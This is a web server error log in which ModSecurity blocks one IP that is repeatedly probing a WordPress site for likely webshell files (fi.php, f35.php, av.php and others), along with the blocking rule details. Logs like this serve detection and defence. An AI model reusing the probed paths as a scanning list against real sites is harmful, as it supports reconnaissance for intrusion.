[Mon Apr 20 21:41:28.689117 2026] [:error] [pid 42014:tid 42029] [client 74.248.131.114:1561] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeYtCMek-00-ZI0f1NqGgAAAAQ0"]
[Mon Apr 20 21:41:29.297284 2026] [:error] [pid 42014:tid 42016] [client 74.248.131.114:1043] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aeYtCcek-00-ZI0f1NqGggAAAQA"]
[Mon Apr 20 21:41:29.990090 2026] [:error] [pid 11351:tid 11410] [client 74.248.131.114:1296] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aeYtCQN8Z1-vktaI_tMRQAAAAFc"]
[Mon Apr 20 21:41:30.649851 2026] [:error] [pid 11352:tid 11429] [client 74.248.131.114:1608] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aeYtCml10mhMSfJ7ir_dbwAAAI8"]
[Mon Apr 20 21:41:31.186707 2026] [:error] [pid 11352:tid 11438] [client 74.248.131.114:1619] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aeYtC2l10mhMSfJ7ir_dcgAAAJg"]
[Mon Apr 20 21:41:31.772972 2026] [:error] [pid 11350:tid 11373] [client 74.248.131.114:1455] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/"] [unique_id "aeYtC_4EoMBgOJuJnT3H0AAAAA4"]
[Mon Apr 20 21:41:32.529359 2026] [:error] [pid 11352:tid 11427] [client 74.248.131.114:1471] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/"] [unique_id "aeYtDGl10mhMSfJ7ir_ddAAAAI0"]
[Mon Apr 20 21:41:33.146212 2026] [:error] [pid 11352:tid 11432] [client 74.248.131.114:1418] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/"] [unique_id "aeYtDWl10mhMSfJ7ir_ddwAAAJI"]
[Mon Apr 20 21:41:33.733721 2026] [:error] [pid 11350:tid 11382] [client 74.248.131.114:1193] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/"] [unique_id "aeYtDf4EoMBgOJuJnT3H0wAAABc"]
[Mon Apr 20 21:41:34.541755 2026] [:error] [pid 11441:tid 11461] [client 74.248.131.114:29825] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aeYtDsixByFUvmh319CnQAAAANI"]
[Mon Apr 20 21:41:35.223438 2026] [:error] [pid 6928:tid 6940] [client 74.248.131.114:1203] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aeYtDx3y7MHq1iB0qYq6PgAAAUo"]
[Mon Apr 20 21:41:35.765071 2026] [:error] [pid 6928:tid 6937] [client 74.248.131.114:1108] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aeYtDx3y7MHq1iB0qYq6QgAAAUc"]
[Mon Apr 20 21:41:36.423691 2026] [:error] [pid 11350:tid 11378] [client 74.248.131.114:1361] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aeYtEP4EoMBgOJuJnT3H2AAAABM"]
[Mon Apr 20 21:41:36.959973 2026] [:error] [pid 11441:tid 11449] [client 74.248.131.114:1042] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aeYtEMixByFUvmh319CnQwAAAMY"]
[Mon Apr 20 21:41:37.648072 2026] [:error] [pid 11441:tid 11465] [client 74.248.131.114:1095] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aeYtEcixByFUvmh319CnRAAAANY"]
[Mon Apr 20 21:41:38.168616 2026] [:error] [pid 11350:tid 11365] [client 74.248.131.114:29856] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aeYtEv4EoMBgOJuJnT3H2wAAAAY"]
[Mon Apr 20 21:41:38.797820 2026] [:error] [pid 11350:tid 11363] [client 74.248.131.114:1758] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aeYtEv4EoMBgOJuJnT3H3AAAAAQ"]
[Mon Apr 20 21:41:39.325958 2026] [:error] [pid 11350:tid 11361] [client 74.248.131.114:1369] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fe5.php"] [unique_id "aeYtE_4EoMBgOJuJnT3H3QAAAAI"]
[Mon Apr 20 21:41:39.873659 2026] [:error] [pid 11352:tid 11425] [client 74.248.131.114:29948] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fe5.php"] [unique_id "aeYtE2l10mhMSfJ7ir_dfAAAAIs"]
[Mon Apr 20 21:41:40.398475 2026] [:error] [pid 11441:tid 11451] [client 74.248.131.114:1451] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fe5.php"] [unique_id "aeYtFMixByFUvmh319CnRwAAAMg"]
[Mon Apr 20 21:41:40.917774 2026] [:error] [pid 11441:tid 11462] [client 74.248.131.114:1787] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fe5.php"] [unique_id "aeYtFMixByFUvmh319CnSAAAANM"]
[Mon Apr 20 21:41:41.460268 2026] [:error] [pid 11352:tid 11437] [client 74.248.131.114:1127] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aeYtFWl10mhMSfJ7ir_dfgAAAJc"]
[Mon Apr 20 21:41:41.979966 2026] [:error] [pid 42014:tid 42032] [client 74.248.131.114:1348] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aeYtFcek-00-ZI0f1NqGjAAAARA"]
[Mon Apr 20 21:41:42.503745 2026] [:error] [pid 6928:tid 6951] [client 74.248.131.114:1744] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aeYtFh3y7MHq1iB0qYq6SgAAAVU"]
[Mon Apr 20 21:41:43.039940 2026] [:error] [pid 42014:tid 42040] [client 74.248.131.114:2017] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aeYtF8ek-00-ZI0f1NqGjQAAARg"]
[Mon Apr 20 21:41:43.573714 2026] [:error] [pid 11494:tid 11514] [client 74.248.131.114:1105] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/av.php"] [unique_id "aeYtF8gko5iFiE8YoyTtRAAAAZI"]
[Mon Apr 20 21:41:44.111224 2026] [:error] [pid 11494:tid 11496] [client 74.248.131.114:29904] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/av.php"] [unique_id "aeYtGMgko5iFiE8YoyTtRQAAAYA"]
[Mon Apr 20 21:41:44.638376 2026] [:error] [pid 11494:tid 11505] [client 74.248.131.114:1112] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/av.php"] [unique_id "aeYtGMgko5iFiE8YoyTtRgAAAYk"]
[Mon Apr 20 21:41:45.191366 2026] [:error] [pid 11350:tid 11369] [client 74.248.131.114:1154] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/av.php"] [unique_id "aeYtGf4EoMBgOJuJnT3H5AAAAAo"]
[Mon Apr 20 21:41:45.720429 2026] [:error] [pid 11350:tid 11360] [client 74.248.131.114:1997] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aeYtGf4EoMBgOJuJnT3H5gAAAAE"]
[Mon Apr 20 21:41:46.360122 2026] [:error] [pid 6928:tid 6945] [client 74.248.131.114:1188] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aeYtGh3y7MHq1iB0qYq6TQAAAU8"]
[Mon Apr 20 21:41:47.011008 2026] [:error] [pid 11351:tid 11404] [client 74.248.131.114:1984] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aeYtGwN8Z1-vktaI_tMRUAAAAFE"]
[Mon Apr 20 21:41:47.567832 2026] [:error] [pid 11441:tid 11445] [client 74.248.131.114:29834] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aeYtG8ixByFUvmh319CnTgAAAMI"]
[Mon Apr 20 21:41:48.090288 2026] [:error] [pid 11441:tid 11454] [client 74.248.131.114:29949] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fi.php"] [unique_id "aeYtHMixByFUvmh319CnTwAAAMs"]
[Mon Apr 20 21:41:48.690611 2026] [:error] [pid 11494:tid 11510] [client 74.248.131.114:1772] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fi.php"] [unique_id "aeYtHMgko5iFiE8YoyTtSAAAAY4"]
[Mon Apr 20 21:41:49.212367 2026] [:error] [pid 11494:tid 11516] [client 74.248.131.114:2023] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fi.php"] [unique_id "aeYtHcgko5iFiE8YoyTtSQAAAZQ"]
[Mon Apr 20 21:41:49.787921 2026] [:error] [pid 11494:tid 11512] [client 74.248.131.114:1332] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fi.php"] [unique_id "aeYtHcgko5iFiE8YoyTtSgAAAZA"]
[Mon Apr 20 21:41:50.325839 2026] [:error] [pid 11494:tid 11518] [client 74.248.131.114:1413] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a1.php"] [unique_id "aeYtHsgko5iFiE8YoyTtSwAAAZY"]
[Mon Apr 20 21:41:50.846077 2026] [:error] [pid 42014:tid 42024] [client 74.248.131.114:1268] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a1.php"] [unique_id "aeYtHsek-00-ZI0f1NqGlQAAAQg"]
[Mon Apr 20 21:41:51.379153 2026] [:error] [pid 11494:tid 11509] [client 74.248.131.114:1743] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a1.php"] [unique_id "aeYtH8gko5iFiE8YoyTtTwAAAY0"]
[Mon Apr 20 21:41:51.941740 2026] [:error] [pid 11351:tid 11411] [client 74.248.131.114:1177] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a1.php"] [unique_id "aeYtHwN8Z1-vktaI_tMRUwAAAFg"]
[Mon Apr 20 21:41:52.480886 2026] [:error] [pid 11351:tid 11392] [client 74.248.131.114:1238] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/update/f35.php"] [unique_id "aeYtIAN8Z1-vktaI_tMRVgAAAEU"]
[Mon Apr 20 21:41:53.010827 2026] [:error] [pid 42014:tid 42040] [client 74.248.131.114:1204] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/update/f35.php"] [unique_id "aeYtIcek-00-ZI0f1NqGmQAAARg"]
[Mon Apr 20 21:41:53.564029 2026] [:error] [pid 11441:tid 11455] [client 74.248.131.114:1740] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/update/f35.php"] [unique_id "aeYtIcixByFUvmh319CnXAAAAMw"]
[Mon Apr 20 21:41:54.074593 2026] [:error] [pid 11494:tid 11520] [client 74.248.131.114:2040] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/update/f35.php"] [unique_id "aeYtIsgko5iFiE8YoyTtUgAAAZg"]
[Mon Apr 20 21:41:54.729090 2026] [:error] [pid 11494:tid 11498] [client 74.248.131.114:1147] [client 74.248.131.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aeYtIsgko5iFiE8YoyTtUwAAAYI"]
[Mon Apr 20 21:41:55.276649 2026] [:error] [pid 42014:tid 42016] [client 74.248.131.114:29843] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aeYtI8ek-00-ZI0f1NqGmwAAAQA"]
[Mon Apr 20 21:41:55.902451 2026] [:error] [pid 11441:tid 11462] [client 74.248.131.114:29942] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aeYtI8ixByFUvmh319CnYAAAANM"]
[Mon Apr 20 21:41:56.425573 2026] [:error] [pid 42014:tid 42031] [client 74.248.131.114:1191] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aeYtJMek-00-ZI0f1NqGnQAAAQ8"]
[Mon Apr 20 21:41:56.947673 2026] [:error] [pid 11494:tid 11518] [client 74.248.131.114:1429] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aeYtJMgko5iFiE8YoyTtVwAAAZY"]
[Mon Apr 20 21:41:57.636328 2026] [:error] [pid 11350:tid 11376] [client 74.248.131.114:29869] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aeYtJf4EoMBgOJuJnT3H6AAAABE"]
[Mon Apr 20 21:41:58.164044 2026] [:error] [pid 11351:tid 11408] [client 74.248.131.114:1116] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aeYtJgN8Z1-vktaI_tMRWgAAAFU"]
[Mon Apr 20 21:41:58.790060 2026] [:error] [pid 11351:tid 11402] [client 74.248.131.114:1153] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aeYtJgN8Z1-vktaI_tMRXAAAAE8"]
[Mon Apr 20 21:41:59.406009 2026] [:error] [pid 11351:tid 11391] [client 74.248.131.114:2002] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aeYtJwN8Z1-vktaI_tMRXgAAAEQ"]
[Mon Apr 20 21:41:59.978548 2026] [:error] [pid 11351:tid 11403] [client 74.248.131.114:1270] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aeYtJwN8Z1-vktaI_tMRYAAAAFA"]
[Mon Apr 20 21:42:00.688328 2026] [:error] [pid 11441:tid 11452] [client 74.248.131.114:1430] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aeYtKMixByFUvmh319CnZQAAAMk"]
